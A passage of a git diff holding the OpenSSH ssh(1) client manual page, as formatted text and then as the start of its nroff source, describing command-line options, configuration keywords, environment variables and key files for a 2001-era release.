secure channel can be + specified either on command line or in a configuration file. One possiM-- + ble application of TCP/IP forwarding is a secure connection to an elecM-- + tronic purse; another is going through firewalls. + + Server authentication + + ssh automatically maintains and checks a database containing identificaM-- + tions for all hosts it has ever been used with. RSA host keys are stored + in $HOME/.ssh/known_hosts and host keys used in the protocol version 2 + are stored in $HOME/.ssh/known_hosts2 in the user's home directory. AdM-- + ditionally, the files /etc/ssh_known_hosts and /etc/ssh_known_hosts2 are + automatically checked for known hosts. Any new hosts are automatically + added to the user's file. If a host's identification ever changes, ssh + warns about this and disables password authentication to prevent a trojan + horse from getting the user's password. Another purpose of this mechaM-- + nism is to prevent man-in-the-middle attacks which could otherwise be + used to circumvent the encryption. The StrictHostKeyChecking option (see + below) can be used to prevent logins to machines whose host key is not + known or has changed. + + The options are as follows: + + -a Disables forwarding of the authentication agent connection. + + -A Enables forwarding of the authentication agent connection. This + can also be specified on a per-host basis in a configuration + file. + + -c blowfish|3des + Selects the cipher to use for encrypting the session. 3des is + used by default. It is believed to be secure. 3des (triple-des) + is an encrypt-decrypt-encrypt triple with three different keys. + It is presumably more secure than the des cipher which is no + longer fully supported in ssh. blowfish is a fast block cipher, + it appears very secure and is much faster than 3des. + + -c cipher_spec + Additionally, for protocol version 2 a comma-separated list of + ciphers can be specified in order of preference. See Ciphers for + more information. + + -e ch|^ch|none + Sets the escape character for sessions with a pty (default: `~'). + The escape character is only recognized at the beginning of a + line. The escape character followed by a dot (`.') closes the + connection, followed by control-Z suspends the connection, and + followed by itself sends the escape character once. Setting the + character to ``none'' disables any escapes and makes the session + fully transparent. + + -f Requests ssh to go to background just before command execution. + This is useful if ssh is going to ask for passwords or passphrasM-- + es, but the user wants it in the background. This implies -n. + The recommended way to start X11 programs at a remote site is + with something like ssh -f host xterm. + + -g Allows remote hosts to connect to local forwarded ports. + + -i identity_file + Selects the file from which the identity (private key) for RSA or + DSA authentication is read. Default is $HOME/.ssh/identity in + the user's home directory. Identity files may also be specified + on a per-host basis in the configuration file. It is possible to + have multiple -i options (and multiple identities specified in + configuration files). + + -k Disables forwarding of Kerberos tickets and AFS tokens. This may + also be specified on a per-host basis in the configuration file. + + -l login_name + Specifies the user to log in as on the remote machine. This also + may be specified on a per-host basis in the configuration file. + + -m mac_spec + Additionally, for protocol version 2 a comma-separated list of + MAC (message authentication code) algorithms can be specified in + order of preference. See the MACs keyword for more information. + + -n Redirects stdin from /dev/null (actually, prevents reading from + stdin). This must be used when ssh is run in the background. A + common trick is to use this to run X11 programs on a remote maM-- + chine. For example, ssh -n shadows.cs.hut.fi emacs & will start + an emacs on shadows.cs.hut.fi, and the X11 connection will be auM-- + tomatically forwarded over an encrypted channel. The ssh program + will be put in the background. (This does not work if ssh needs + to ask for a password or passphrase; see also the -f option.) + + -N Do not execute a remote command. This is useful if you just want + to forward ports (protocol version 2 only). + + -o option + Can be used to give options in the format used in the config + file. This is useful for specifying options for which there is + no separate command-line flag. The option has the same format as + a line in the configuration file. + + -p port + Port to connect to on the remote host. This can be specified on + a per-host basis in the configuration file. + + -P Use a non-privileged port for outgoing connections. This can be + used if your firewall does not permit connections from privileged + ports. Note that this option turns off RhostsAuthentication and + RhostsRSAAuthentication for older servers. + + -q Quiet mode. Causes all warning and diagnostic messages to be + suppressed. Only fatal errors are displayed. + + -s May be used to request invocation of a subsystem on the remote + system. Subsystems are a feature of the SSH2 protocol which faM-- + cilitate the use of SSH as a secure transport for other applicaM-- + tion (eg. sftp). The subsystem is specified as the remote comM-- + mand. + + -t Force pseudo-tty allocation. This can be used to execute arbiM-- + trary screen-based programs on a remote machine, which can be + very useful, e.g., when implementing menu services. Multiple -t + options force tty allocation, even if ssh has no local tty. + + -T Disable pseudo-tty allocation. + + -v Verbose mode. Causes ssh to print debugging messages about its + progress. This is helpful in debugging connection, authenticaM-- + tion, and configuration problems. Multiple -v options increases + the verbosity. Maximum is 3. + + -x Disables X11 forwarding. + + -X Enables X11 forwarding. This can also be specified on a per-host + basis in a configuration file. + + -C Requests compression of all data (including stdin, stdout, + stderr, and data for forwarded X11 and TCP/IP connections). The + compression algorithm is the same used by gzip(1), and the + ``level'' can be controlled by the CompressionLevel option (see + below). Compression is desirable on modem lines and other slow + connections, but will only slow down things on fast networks. + The default value can be set on a host-by-host basis in the conM-- + + + figuration files; see the Compress option below. + + -L port:host:hostport + Specifies that the given port on the local (client) host is to be + forwarded to the given host and port on the remote side. This + works by allocating a socket to listen to port on the local side, + and whenever a connection is made to this port, the connection is + forwarded over the secure channel, and a connection is made to + host port hostport from the remote machine. Port forwardings can + also be specified in the configuration file. Only root can forM-- + ward privileged ports. IPv6 addresses can be specified with an + alternative syntax: port/host/hostport + + -R port:host:hostport + Specifies that the given port on the remote (server) host is to + be forwarded to the given host and port on the local side. This + works by allocating a socket to listen to port on the remote + side, and whenever a connection is made to this port, the connecM-- + tion is forwarded over the secure channel, and a connection is + made to host port hostport from the local machine. Port forwardM-- + ings can also be specified in the configuration file. Privileged + ports can be forwarded only when logging in as root on the remote + machine. IPv6 addresses can be specified with an alternative + syntax: port/host/hostport + + -1 Forces ssh to try protocol version 1 only. + + -2 Forces ssh to try protocol version 2 only. + + -4 Forces ssh to use IPv4 addresses only. + + -6 Forces ssh to use IPv6 addresses only. + +CONFIGURATION FILES + ssh obtains configuration data from the following sources (in this orM-- + der): command line options, user's configuration file + ($HOME/.ssh/config), and system-wide configuration file + (/etc/ssh_config). For each parameter, the first obtained value will be + used. The configuration files contain sections bracketed by ``Host'' + specifications, and that section is only applied for hosts that match one + of the patterns given in the specification. The matched host name is the + one given on the command line. + + Since the first obtained value for each parameter is used, more host-speM-- + cific declarations should be given near the beginning of the file, and + general defaults at the end. + + The configuration file has the following format: + + Empty lines and lines starting with `#' are comments. + + Otherwise a line is of the format ``keyword arguments''. The possible + keywords and their meanings are as follows (note that the configuration + files are case-sensitive): + + Host Restricts the following declarations (up to the next Host keyM-- + word) to be only for those hosts that match one of the patterns + given after the keyword. `*' and `?' can be used as wildcards in + the patterns. A single `*' as a pattern can be used to provide + global defaults for all hosts. The host is the hostname argument + given on the command line (i.e., the name is not converted to a + canonicalized host name before matching). + + AFSTokenPassing + Specifies whether to pass AFS tokens to remote host. The arguM-- + ment to this keyword must be ``yes'' or ``no''. This option apM-- + + plies to protocol version 1 only. + + BatchMode + If set to ``yes'', passphrase/password querying will be disabled. + This option is useful in scripts and other batch jobs where you + have no user to supply the password. The argument must be + ``yes'' or ``no''. The default is ``no''. + + CheckHostIP + If this flag is set to ``yes'', ssh will additionally check the + host IP address in the known_hosts file. This allows ssh to deM-- + tect if a host key changed due to DNS spoofing. If the option is + set to ``no'', the check will not be executed. The default is + ``yes''. + + Cipher Specifies the cipher to use for encrypting the session in protoM-- + col version 1. Currently, ``blowfish'' and ``3des'' are supportM-- + ed. The default is ``3des''. + + Ciphers + Specifies the ciphers allowed for protocol version 2 in order of + preference. Multiple ciphers must be comma-separated. The deM-- + fault is + + ``aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour, + aes192-cbc,aes256-cbc'' + + Compression + Specifies whether to use compression. The argument must be + ``yes'' or ``no''. The default is ``no''. + + CompressionLevel + Specifies the compression level to use if compression is enabled. + The argument must be an integer from 1 (fast) to 9 (slow, best). + The default level is 6, which is good for most applications. The + meaning of the values is the same as in gzip(1). Note that this + option applies to protocol version 1 only. + + ConnectionAttempts + Specifies the number of tries (one per second) to make before + falling back to rsh or exiting. The argument must be an integer. + This may be useful in scripts if the connection sometimes fails. + The default is 4. + + EscapeChar + Sets the escape character (default: `~'). The escape character + can also be set on the command line. The argument should be a + single character, `^' followed by a letter, or ``none'' to disM-- + able the escape character entirely (making the connection transM-- + parent for binary data). + + FallBackToRsh + Specifies that if connecting via ssh fails due to a connection + refused error (there is no sshd(8) listening on the remote host), + rsh(1) should automatically be used instead (after a suitable + warning about the session being unencrypted). The argument must + be ``yes'' or ``no''. The default is ``no''. + + ForwardAgent + Specifies whether the connection to the authentication agent (if + any) will be forwarded to the remote machine. The argument must + be ``yes'' or ``no''. The default is ``no''. + + ForwardX11 + Specifies whether X11 connections will be automatically redirectM-- + ed over the secure channel and DISPLAY set. The argument must be + ``yes'' or ``no''. The default is ``no''. + + GatewayPorts + Specifies whether remote hosts are allowed to connect to local + forwarded ports. The argument must be ``yes'' or ``no''. The deM-- + fault is ``no''. + + GlobalKnownHostsFile + Specifies a file to use for the protocol version 1 global host + key database instead of /etc/ssh_known_hosts. + + GlobalKnownHostsFile2 + Specifies a file to use for the protocol version 2 global host + key database instead of /etc/ssh_known_hosts2. + + HostbasedAuthentication + Specifies whether to try rhosts based authentication with public + key authentication. The argument must be ``yes'' or ``no''. The + default is ``yes''. This option applies to protocol version 2 onM-- + ly and is similar to RhostsRSAAuthentication. + + HostKeyAlgorithms + Specfies the protocol version 2 host key algorithms that the + client wants to use in order of preference. The default for this + option is: ``ssh-rsa,ssh-dss'' + + HostKeyAlias + Specifies an alias that should be used instead of the real host + name when looking up or saving the host key in the host key + database files. This option is useful for tunneling ssh connecM-- + tions or if you have multiple servers running on a single host. + + HostName + Specifies the real host name to log into. This can be used to + specify nicknames or abbreviations for hosts. Default is the + name given on the command line. Numeric IP addresses are also + permitted (both on the command line and in HostName specificaM-- + tions). + + IdentityFile + Specifies the file from which the user's RSA or DSA authenticaM-- + tion identity is read (default $HOME/.ssh/identity in the user's + home directory). Additionally, any identities represented by the + authentication agent will be used for authentication. The file + name may use the tilde syntax to refer to a user's home directoM-- + ry. It is possible to have multiple identity files specified in + configuration files; all these identities will be tried in seM-- + quence. + + KeepAlive + Specifies whether the system should send keepalive messages to + the other side. If they are sent, death of the connection or + crash of one of the machines will be properly noticed. However, + this means that connections will die if the route is down temM-- + porarily, and some people find it annoying. + + The default is ``yes'' (to send keepalives), and the client will + notice if the network goes down or the remote host dies. This is + important in scripts, and many users want it too. + + To disable keepalives, the value should be set to ``no'' in both + the server and the client configuration files. + + KerberosAuthentication + Specifies whether Kerberos authentication will be used. The arM-- + + gument to this keyword must be ``yes'' or ``no''. + + KerberosTgtPassing + Specifies whether a Kerberos TGT will be forwarded to the server. + This will only work if the Kerberos server is actually an AFS + kaserver. The argument to this keyword must be ``yes'' or + ``no''. + + LocalForward + Specifies that a TCP/IP port on the local machine be forwarded + over the secure channel to given host:port from the remote maM-- + chine. The first argument must be a port number, and the second + must be host:port. Multiple forwardings may be specified, and + additional forwardings can be given on the command line. Only + the superuser can forward privileged ports. + + LogLevel + Gives the verbosity level that is used when logging messages from + ssh. The possible values are: QUIET, FATAL, ERROR, INFO, VERBOSE + and DEBUG. The default is INFO. + + MACs Specifies the MAC (message authentication code) algorithms in orM-- + der of preference. The MAC algorithm is used in protocol version + 2 for data integrity protection. Multiple algorithms must be + comma-separated. The default is + + ``hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com, + hmac-sha1-96,hmac-md5-96'' + + NumberOfPasswordPrompts + Specifies the number of password prompts before giving up. The + argument to this keyword must be an integer. Default is 3. + + PasswordAuthentication + Specifies whether to use password authentication. The argument + to this keyword must be ``yes'' or ``no''. The default is + ``yes''. + + Port Specifies the port number to connect on the remote host. Default + is 22. + + PreferredAuthentications + Specifies the order in which the client should try protocol 2 auM-- + thentication methods. This allows a client to prefer one method + (e.g. keyboard-interactive) over another method (e.g. password) + The default for this option is: ``publickey, password, keyboard- + interactive'' + + Protocol + Specifies the protocol versions ssh should support in order of + preference. The possible values are ``1'' and ``2''. Multiple + versions must be comma-separated. The default is ``2,1''. This + means that ssh tries version 2 and falls back to version 1 if + version 2 is not available. + + ProxyCommand + Specifies the command to use to connect to the server. The comM-- + mand string extends to the end of the line, and is executed with + /bin/sh. In the command string, `%h' will be substituted by the + host name to connect and `%p' by the port. The command can be + basically anything, and should read from its standard input and + write to its standard output. It should eventually connect an + sshd(8) server running on some machine, or execute sshd -i someM-- + where. Host key management will be done using the HostName of + the host being connected (defaulting to the name typed by the usM-- + er). Note that CheckHostIP is not available for connects with a + proxy command. + + PubkeyAuthentication + Specifies whether to try public key authentication. The argument + to this keyword must be ``yes'' or ``no''. The default is + ``yes''. This option applies to protocol version 2 only. + + RemoteForward + Specifies that a TCP/IP port on the remote machine be forwarded + over the secure channel to given host:port from the local maM-- + chine. The first argument must be a port number, and the second + must be host:port. Multiple forwardings may be specified, and + additional forwardings can be given on the command line. Only + the superuser can forward privileged ports. + + RhostsAuthentication + Specifies whether to try rhosts based authentication. Note that + this declaration only affects the client side and has no effect + whatsoever on security. Disabling rhosts authentication may reM-- + duce authentication time on slow connections when rhosts authenM-- + tication is not used. Most servers do not permit RhostsAuthentiM-- + cation because it is not secure (see RhostsRSAAuthentication ). + The argument to this keyword must be ``yes'' or ``no''. The deM-- + fault is ``yes''. This option applies to protocol version 1 only. + + RhostsRSAAuthentication + Specifies whether to try rhosts based authentication with RSA + host authentication. The argument must be ``yes'' or ``no''. The + default is ``yes''. This option applies to protocol version 1 onM-- + ly. + + RSAAuthentication + Specifies whether to try RSA authentication. The argument to + this keyword must be ``yes'' or ``no''. RSA authentication will + only be attempted if the identity file exists, or an authenticaM-- + tion agent is running. The default is ``yes''. Note that this + option applies to protocol version 1 only. + + ChallengeResponseAuthentication + Specifies whether to use challenge response authentication. CurM-- + rently there is only support for skey(1) authentication. The arM-- + gument to this keyword must be ``yes'' or ``no''. The default is + ``no''. + + StrictHostKeyChecking + If this flag is set to ``yes'', ssh will never automatically add + host keys to the $HOME/.ssh/known_hosts and + $HOME/.ssh/known_hosts2 files, and refuses to connect to hosts + whose host key has changed. This provides maximum protection + against trojan horse attacks. However, it can be somewhat annoyM-- + ing if you don't have good /etc/ssh_known_hosts and + /etc/ssh_known_hosts2 files installed and frequently connect to + new hosts. This option forces the user to manually add all new + hosts. If this flag is set to ``no'', ssh will automatically add + new host keys to the user known hosts files. If this flag is set + to ``ask'', new host keys will be added to the user known host + files only after the user has confirmed that is what they really + want to do, and ssh will refuse to connect to hosts whose host + key has changed. The host keys of known hosts will be verified + automatically in all cases. The argument must be ``yes'', ``no'' + or ``ask''. The default is ``ask''. + + UsePrivilegedPort + Specifies whether to use a privileged port for outgoing connecM-- + tions. The argument must be ``yes'' or ``no''. The default is + ``no''. Note that you need to set this option to ``yes'' if you + want to use RhostsAuthentication and RhostsRSAAuthentication with + older servers. + + User Specifies the user to log in as. This can be useful if you have + a different user name on different machines. This saves the + trouble of having to remember to give the user name on the comM-- + mand line. + + UserKnownHostsFile + Specifies a file to use for the protocol version 1 user host key + database instead of $HOME/.ssh/known_hosts. + + UserKnownHostsFile2 + Specifies a file to use for the protocol version 2 user host key + database instead of $HOME/.ssh/known_hosts2. + + UseRsh Specifies that rlogin/rsh should be used for this host. It is + possible that the host does not at all support the ssh protocol. + This causes ssh to immediately execute rsh(1). All other options + (except HostName) are ignored if this has been specified. The + argument must be ``yes'' or ``no''. + + XAuthLocation + Specifies the location of the xauth(1) program. The default is + /usr/X11R6/bin/xauth. + +ENVIRONMENT + ssh will normally set the following environment variables: + + DISPLAY + The DISPLAY variable indicates the location of the X11 server. + It is automatically set by ssh to point to a value of the form + ``hostname:n'' where hostname indicates the host where the shell + runs, and n is an integer >= 1. ssh uses this special value to + forward X11 connections over the secure channel. The user should + normally not set DISPLAY explicitly, as that will render the X11 + connection insecure (and will require the user to manually copy + any required authorization cookies). + + HOME Set to the path of the user's home directory. + + LOGNAME + Synonym for USER; set for compatibility with systems that use + this variable. + + MAIL Set to point the user's mailbox. + + PATH Set to the default PATH, as specified when compiling ssh. + + SSH_AUTH_SOCK + indicates the path of a unix-domain socket used to communicate + with the agent. + + SSH_CLIENT + Identifies the client end of the connection. The variable conM-- + tains three space-separated values: client ip-address, client + port number, and server port number. + + SSH_ORIGINAL_COMMAND + The variable contains the original command line if a forced comM-- + mand is executed. It can be used to extract the original arguM-- + ments. + + SSH_TTY + This is set to the name of the tty (path to the device) associatM-- + ed with the current shell or command. If the current session has + no tty, this variable is not set. + + TZ The timezone variable is set to indicate the present timezone if + it was set when the daemon was started (i.e., the daemon passes + the value on to new connections). + + USER Set to the name of the user logging in. + + Additionally, ssh reads $HOME/.ssh/environment, and adds lines of the + format ``VARNAME=value'' to the environment. + +FILES + $HOME/.ssh/known_hosts, $HOME/.ssh/known_hosts2 + Records host keys for all hosts the user has logged into (that + are not in /etc/ssh_known_hosts for protocol version 1 or + /etc/ssh_known_hosts2 for protocol version 2). See sshd(8). + + $HOME/.ssh/identity, $HOME/.ssh/id_dsa, $HOME/.ssh/id_rsa + Contains the authentication identity of the user. They are for + protocol 1 RSA, protocol 2 DSA, and protocol 2 RSA, respectively. + These files contain sensitive data and should be readable by the + user but not accessible by others (read/write/execute). Note + that ssh ignores a private key file if it is accessible by othM-- + ers. It is possible to specify a passphrase when generating the + key; the passphrase will be used to encrypt the sensitive part of + this file using 3DES. + + $HOME/.ssh/identity.pub, $HOME/.ssh/id_dsa.pub, $HOME/.ssh/id_rsa.pub + Contains the public key for authentication (public part of the + identity file in human-readable form). The contents of the + $HOME/.ssh/identity.pub file should be added to + $HOME/.ssh/authorized_keys on all machines where you wish to log + in using protocol version 1 RSA authentication. The contents of + the $HOME/.ssh/id_dsa.pub and $HOME/.ssh/id_rsa.pub file should + be added to $HOME/.ssh/authorized_keys2 on all machines where you + wish to log in using protocol version 2 DSA/RSA authentication. + These files are not sensitive and can (but need not) be readable + by anyone. These files are never used automatically and are not + necessary; they are only provided for the convenience of the usM-- + er. + + $HOME/.ssh/config + This is the per-user configuration file. The format of this file + is described above. This file is used by the ssh client. This + file does not usually contain any sensitive information, but the + recommended permissions are read/write for the user, and not acM-- + cessible by others. + + $HOME/.ssh/authorized_keys + Lists the RSA keys that can be used for logging in as this user. + The format of this file is described in the sshd(8) manual page. + In the simplest form the format is the same as the .pub identity + files (that is, each line contains the number of bits in modulus, + public exponent, modulus, and comment fields, separated by + spaces). This file is not highly sensitive, but the recommended + permissions are read/write for the user, and not accessible by + others. + + $HOME/.ssh/authorized_keys2 + Lists the public keys (RSA/DSA) that can be used for logging in + as this user. This file is not highly sensitive, but the recomM-- + mended permissions are read/write for the user, and not accessiM-- + ble by others. + + /etc/ssh_known_hosts, /etc/ssh_known_hosts2 + Systemwide list of known host keys. /etc/ssh_known_hosts conM-- + tains RSA and /etc/ssh_known_hosts2 contains RSA or DSA keys for + protocol version 2. These files should be prepared by the system + administrator to contain the public host keys of all machines in + the organization. This file should be world-readable. This file + contains public keys, one per line, in the following format + (fields separated by spaces): system name, number of bits in modM-- + ulus, public exponent, modulus, and optional comment field. When + different names are used for the same machine, all such names + should be listed, separated by commas. The format is described + on the sshd(8) manual page. + + The canonical system name (as returned by name servers) is used + by sshd(8) to verify the client host when logging in; other names + are needed because ssh does not convert the user-supplied name to + a canonical name before checking the key, because someone with + access to the name servers would then be able to fool host auM-- + thentication. + + /etc/ssh_config + Systemwide configuration file. This file provides defaults for + those values that are not specified in the user's configuration + file, and for those users who do not have a configuration file. + This file must be world-readable. + + $HOME/.rhosts + This file is used in .rhosts authentication to list the host/user + pairs that are permitted to log in. (Note that this file is also + used by rlogin and rsh, which makes using this file insecure.) + Each line of the file contains a host name (in the canonical form + returned by name servers), and then a user name on that host, + separated by a space. On some machines this file may need to be + world-readable if the user's home directory is on a NFS partiM-- + tion, because sshd(8) reads it as root. Additionally, this file + must be owned by the user, and must not have write permissions + for anyone else. The recommended permission for most machines is + read/write for the user, and not accessible by others. + + Note that by default sshd(8) will be installed so that it reM-- + quires successful RSA host authentication before permitting + .rhosts authentication. If your server machine does not have the + client's host key in /etc/ssh_known_hosts, you can store it in + $HOME/.ssh/known_hosts. The easiest way to do this is to connect + back to the client from the server machine using ssh; this will + automatically add the host key to $HOME/.ssh/known_hosts. + + $HOME/.shosts + This file is used exactly the same way as .rhosts. The purpose + for having this file is to be able to use rhosts authentication + with ssh without permitting login with rlogin(1) or rsh(1). + + /etc/hosts.equiv + This file is used during .rhosts authentication. It contains + canonical hosts names, one per line (the full format is described + on the sshd(8) manual page). If the client host is found in this + file, login is automatically permitted provided client and server + user names are the same. Additionally, successful RSA host auM-- + thentication is normally required. This file should only be + writable by root. + + /etc/shosts.equiv + This file is processed exactly as /etc/hosts.equiv. This file may + be useful to permit logins using ssh but not using rsh/rlogin. + + /etc/sshrc + Commands in this file are executed by ssh when the user logs in + just before the user's shell (or command) is started. See the + sshd(8) manual page for more information. + + $HOME/.ssh/rc + Commands in this file are executed by ssh when the user logs in + just before the user's shell (or command) is started. See the + sshd(8) manual page for more information. + + $HOME/.ssh/environment + Contains additional definitions for environment variables, see + section ENVIRONMENT above. + +AUTHORS + OpenSSH is a derivative of the original and free ssh 1.2.12 release by + Tatu Ylonen. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo + de Raadt and Dug Song removed many bugs, re-added newer features and creM-- + ated OpenSSH. Markus Friedl contributed the support for SSH protocol + versions 1.5 and 2.0. + +SEE ALSO + rlogin(1), rsh(1), scp(1), sftp(1), ssh-add(1), ssh-agent(1), ssh- + keygen(1), telnet(1), sshd(8) + + T. Ylonen, T. Kivinen, M. Saarinen, T. Rinne, and S. Lehtinen, SSH + Protocol Architecture, draft-ietf-secsh-architecture-07.txt, January + 2001, work in progress material. + +BSD Experimental September 25, 1999 14 diff --git a/other/ssharp/ssh.1 b/other/ssharp/ssh.1 new file mode 100644 index 0000000..0d26197 --- /dev/null +++ b/other/ssharp/ssh.1 @@ -0,0 +1,1389 @@ +.\" -*- nroff -*- +.\" +.\" Author: Tatu Ylonen +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" As far as I am concerned, the code I have written for this software +.\" can be used freely for any purpose. Any derived versions of this +.\" software must be clearly marked as such, and if the derived work is +.\" incompatible with the protocol description in the RFC file, it must be +.\" called by a name other than "ssh" or "Secure Shell". +.\" +.\" Copyright (c) 1999,2000 Markus Friedl. All rights reserved. +.\" Copyright (c) 1999 Aaron Campbell. All rights reserved. +.\" Copyright (c) 1999 Theo de Raadt. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +.\" IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +.\" OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +.\" IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +.\" INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +.\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +.\" DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +.\" THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +.\" (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +.\" THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +.\" +.\" $OpenBSD: ssh.1,v 1.107 2001/04/22 23:58:36 markus Exp $ +.Dd September 25, 1999 +.Dt SSH 1 +.Os +.Sh NAME +.Nm ssh +.Nd OpenSSH SSH client (remote login program) +.Sh SYNOPSIS +.Nm ssh +.Op Fl l Ar login_name +.Op Ar hostname | user@hostname +.Op Ar command +.Pp +.Nm ssh +.Op Fl afgknqstvxACNPTX1246 +.Op Fl c Ar cipher_spec +.Op Fl e Ar escape_char +.Op Fl i Ar identity_file +.Op Fl l Ar login_name +.Op Fl m Ar mac_spec +.Op Fl o Ar option +.Op Fl p Ar port +.Oo Fl L Xo +.Sm off +.Ar port : +.Ar host : +.Ar hostport +.Sm on +.Xc +.Oc +.Oo Fl R Xo +.Sm off +.Ar port : +.Ar host : +.Ar hostport +.Sm on +.Xc +.Oc +.Op Ar hostname | user@hostname +.Op Ar command +.Sh DESCRIPTION +.Nm +(SSH client) is a program for logging into a remote machine and for +executing commands on a remote machine. +It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. +X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. +.Pp +.Nm +connects and logs into the specified +.Ar hostname . +The user must prove +his/her identity to the remote machine using one of several methods +depending on the protocol version used: +.Pp +.Ss SSH protocol version 1 +.Pp +First, if the machine the user logs in from is listed in +.Pa /etc/hosts.equiv +or +.Pa /etc/shosts.equiv +on the remote machine, and the user names are +the same on both sides, the user is immediately permitted to log in. +Second, if +.Pa \&.rhosts +or +.Pa \&.shosts +exists in the user's home directory on the +remote machine and contains a line containing the name of the client +machine and the name of the user on that machine, the user is +permitted to log in. +This form of authentication alone is normally not +allowed by the server because it is not secure. +.Pp +The second authentication method is the +.Pa rhosts +or +.Pa hosts.equiv +method combined with RSA-based host authentication. +It means that if the login would be permitted by +.Pa $HOME/.rhosts , +.Pa $HOME/.shosts , +.Pa /etc/hosts.equiv , +or +.Pa /etc/shosts.equiv , +and if additionally the server can verify the client's +host key (see +.Pa /etc/ssh_known_hosts +and +.Pa $HOME/.ssh/known_hosts +in the +.Sx FILES +section), only then login is permitted. +This authentication method closes security holes due to IP +spoofing, DNS spoofing and routing spoofing. +[Note to the administrator: +.Pa /etc/hosts.equiv , +.Pa $HOME/.rhosts , +and the rlogin/rsh protocol in general, are inherently insecure and should be +disabled if security is desired.] +.Pp +As a third authentication method, +.Nm +supports RSA based authentication. +The scheme is based on public-key cryptography: there are cryptosystems +where encryption and decryption are done using separate keys, and it +is not possible to derive the decryption key from the encryption key. +RSA is one such system. +The idea is that each user creates a public/private +key pair for authentication purposes. +The server knows the public key, and only the user knows the private key. +The file +.Pa $HOME/.ssh/authorized_keys +lists the public keys that are permitted for logging +in. +When the user logs in, the +.Nm +program tells the server which key pair it would like to use for +authentication. +The server checks if this key is permitted, and if +so, sends the user (actually the +.Nm +program running on behalf of the user) a challenge, a random number, +encrypted by the user's public key. +The challenge can only be +decrypted using the proper private key. +The user's client then decrypts the +challenge using the private key, proving that he/she knows the private +key but without disclosing it to the server. +.Pp +.Nm +implements the RSA authentication protocol automatically. +The user creates his/her RSA key pair by running +.Xr ssh-keygen 1 . +This stores the private key in +.Pa $HOME/.ssh/identity +and the public key in +.Pa $HOME/.ssh/identity.pub +in the user's home directory. +The user should then copy the +.Pa identity.pub +to +.Pa $HOME/.ssh/authorized_keys +in his/her home directory on the remote machine (the +.Pa authorized_keys +file corresponds to the conventional +.Pa $HOME/.rhosts +file, and has one key +per line, though the lines can be very long). +After this, the user can log in without giving the password. +RSA authentication is much +more secure than rhosts authentication. +.Pp +The most convenient way to use RSA authentication may be with an +authentication agent. +See +.Xr ssh-agent 1 +for more information. +.Pp +If other authentication methods fail, +.Nm +prompts the user for a password. +The password is sent to the remote +host for checking; however, since all communications are encrypted, +the password cannot be seen by someone listening on the network. +.Pp +.Ss SSH protocol version 2 +.Pp +When a user connects using the protocol version 2 +different authentication methods are available. +Using the default values for +.Cm PreferredAuthentications , +the client will try to authenticate first using the public key method; +if this method fails password authentication is attempted, +and finally if this method fails keyboard-interactive authentication +is attempted. +If this method fails password authentication is +tried. +.Pp +The public key method is similar to RSA authentication described +in the previous section and allows the RSA or DSA algorithm to be used: +The client uses his private key, +.Pa $HOME/.ssh/id_dsa +or +.Pa $HOME/.ssh/id_rsa , +to sign the session identifier and sends the result to the server. +The server checks whether the matching public key is listed in +.Pa $HOME/.ssh/authorized_keys2 +and grants access if both the key is found and the signature is correct. +The session identifier is derived from a shared Diffie-Hellman value +and is only known to the client and the server. +.Pp +If public key authentication fails or is not available a password +can be sent encrypted to the remote host for proving the user's identity. +.Pp +Additionally, +.Nm +supports hostbased or challenge response authentication. +.Pp +Protocol 2 provides additional mechanisms for confidentiality +(the traffic is encrypted using 3DES, Blowfish, CAST128 or Arcfour) +and integrity (hmac-md5, hmac-sha1). +Note that protocol 1 lacks a strong mechanism for ensuring the +integrity of the connection. +.Pp +.Ss Login session and remote execution +.Pp +When the user's identity has been accepted by the server, the server +either executes the given command, or logs into the machine and gives +the user a normal shell on the remote machine. +All communication with +the remote command or shell will be automatically encrypted. +.Pp +If a pseudo-terminal has been allocated (normal login session), the +user may use the escape characters noted below. +.Pp +If no pseudo tty has been allocated, the +session is transparent and can be used to reliably transfer binary +data. +On most systems, setting the escape character to +.Dq none +will also make the session transparent even if a tty is used. +.Pp +The session terminates when the command or shell on the remote +machine exits and all X11 and TCP/IP connections have been closed. +The exit status of the remote program is returned as the exit status +of +.Nm ssh . +.Pp +.Ss Escape Characters +.Pp +When a pseudo terminal has been requested, ssh supports a number of functions +through the use of an escape character. +.Pp +A single tilde character can be sent as +.Ic ~~ +(or by following the tilde by a character other than those described above). +The escape character must always follow a newline to be interpreted as +special. +The escape character can be changed in configuration files using the +.Cm EscapeChar +configuration directive or on the command line by the +.Fl e +option. +.Pp +The supported escapes (assuming the default +.Ql ~ ) +are: +.Bl -tag -width Ds +.It Cm ~. +Disconnect +.It Cm ~^Z +Background ssh +.It Cm ~# +List forwarded connections +.It Cm ~& +Background ssh at logout when waiting for forwarded connection / X11 sessions +to terminate (protocol version 1 only) +.It Cm ~? +Display a list of escape characters +.It Cm ~R +Request rekeying of the connection (only useful for SSH protocol version 2 +and if the peer supports it) +.El +.Pp +.Ss X11 and 